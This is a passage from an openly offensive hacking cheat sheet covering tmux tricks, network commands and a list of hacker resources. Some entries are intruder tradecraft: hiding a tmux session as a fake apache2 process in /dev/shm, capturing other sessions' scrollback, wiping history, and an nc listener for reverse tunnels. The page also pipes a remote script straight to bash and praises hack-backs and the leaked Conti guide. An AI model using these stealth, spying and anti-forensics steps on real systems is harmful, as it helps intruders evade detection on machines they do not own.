**13.iii. Tmux Cheat Sheet**
|
||
|
||
|
||
| | Tmux Cheat Sheet |
|
||
| --- | --- |
|
||
| Max Buffer | `Ctrl-b` + `:` + `set-option -g history-limit 65535` |
|
||
| SaveScrollback | `Ctrl-b` + `:` + `capture-pane -S -` followed by `Ctrl-b` + `:` + `save-buffer filename.txt`. |
|
||
| SpyScrollback | `tmux capture-pane -e -pS- -t 6.0` to capture pane 6, window 0 of a running tmux. Remove `-e` to save without colour. |
|
||
| Clear | `tmux send-keys -R C-l \; clear-history -t6.0` to clear screen and delete scrollback history. |
|
||
| Logging | `Ctrl-b` + `:` + `bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'`<BR>Press `Ctrl-b` + `Shift + P` to start and stop. |
|
||
| HiddenTmux | `cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache`<BR>To attach to your session do <BR>`cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache attach` |
|
||
| Attach | Start a new tmux, then type `Ctrl-b` + `s` and use `LEFT`, `RIGHT` to preview and select any session. |
|
||
| Menu | `Ctrl-b` + `>`. Then use `Ctrl-b` + `UP`, `DOWN`, `LEFT` or `RIGHT` to move between the panes. |
|
||
|
||
<a id="useful-commands"></a>
|
||
**13.iv. Useful commands**
|
||
|
||
Use `lsof -Pni` or `netstat -putan` (or `ss -putan`) to list all Internet (_-tu_) connections.
|
||
|
||
Use `ss -lntp` to show all listening (_-l_) TCP (_-t_) sockets.
|
||
|
||
Use `netstat -rn` or `ip route show` to show default Internet route.
|
||
|
||
Use `curl cheat.sh/tar` to get TLDR help for tar. Works with any other linux command.
|
||
|
||
Use `curl -fsSL bench.sh | bash` to speed test a server.
|
||
|
||
Hacking over long latency links or slow links can be frustrating. Every keystroke is transmitted one by one and any typo becomes so much more frustrating and time consuming to undo. *rlwrap* comes to the rescue. It buffers all single keystrokes until *Enter* is hit and then transmits the entire line at once. This makes it so much easier to type at high speed, correct typos, ...
|
||
|
||
Example for the receiving end of a revese tunnel:
|
||
```sh
|
||
rlwrap --always-readline nc -vnlp 1524
|
||
```
|
||
|
||
Example for *SSH*:
|
||
```sh
|
||
rlwrap --always-readline ssh user@host
|
||
```
|
||
---
|
||
<a id="others"></a>
|
||
## 14. Other Sites
|
||
|
||
1. [Phineas Fisher](https://blog.isosceles.com/phineas-fisher-hacktivism-and-magic-tricks/) - No nonsense. Direct. How we like it.
|
||
1. [Hacking HackingTeam - a HackBack](https://gist.github.com/jaredsburrows/9e121d2e5f1147ab12a696cf548b90b0) - Old but real talent at work.
|
||
2. [Guacamaya Hackback](https://www.youtube.com/watch?v=5vRIisM0Op4)
|
||
3. [Vx Underground](https://www.vx-underground.org/)
|
||
4. [HTB absolute](https://0xdf.gitlab.io/2023/05/27/htb-absolute.html) - Well written and explained attack.
|
||
5. [Conti Leak](https://github.com/ForbiddenProgrammer/conti-pentester-guide-leak) - Windows hacking. Pragmatic.
|
||
6. [Red Team Notes](https://www.ired.team/)
|
||
7. [InfoSec CheatSheet](https://github.com/r1cksec/cheatsheets)
|
||
8. [HackTricks](https://book.hacktricks.xyz/welcome/readme)
|
||
9. [Awesome Red Teaming](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming)
|
||
10. [VulHub](https://github.com/vulhub/vulhub) - Test your exploits
|
||
11. [Qubes-OS](https://www.qubes-os.org/) - Desktop OS focused on security with XEN isolated (disposable) guest VMs (Fedora, Debian, Whonix out of the box)
|
||
|
||
|
||
---
|
||
Shoutz: ADM, subz/#9x, DrWho, spoty
|
||
Join us on [Telegram](https://t.me/thcorg).
|
||
|
||
[](https://www.buymeacoffee.com/hackerschoice)
|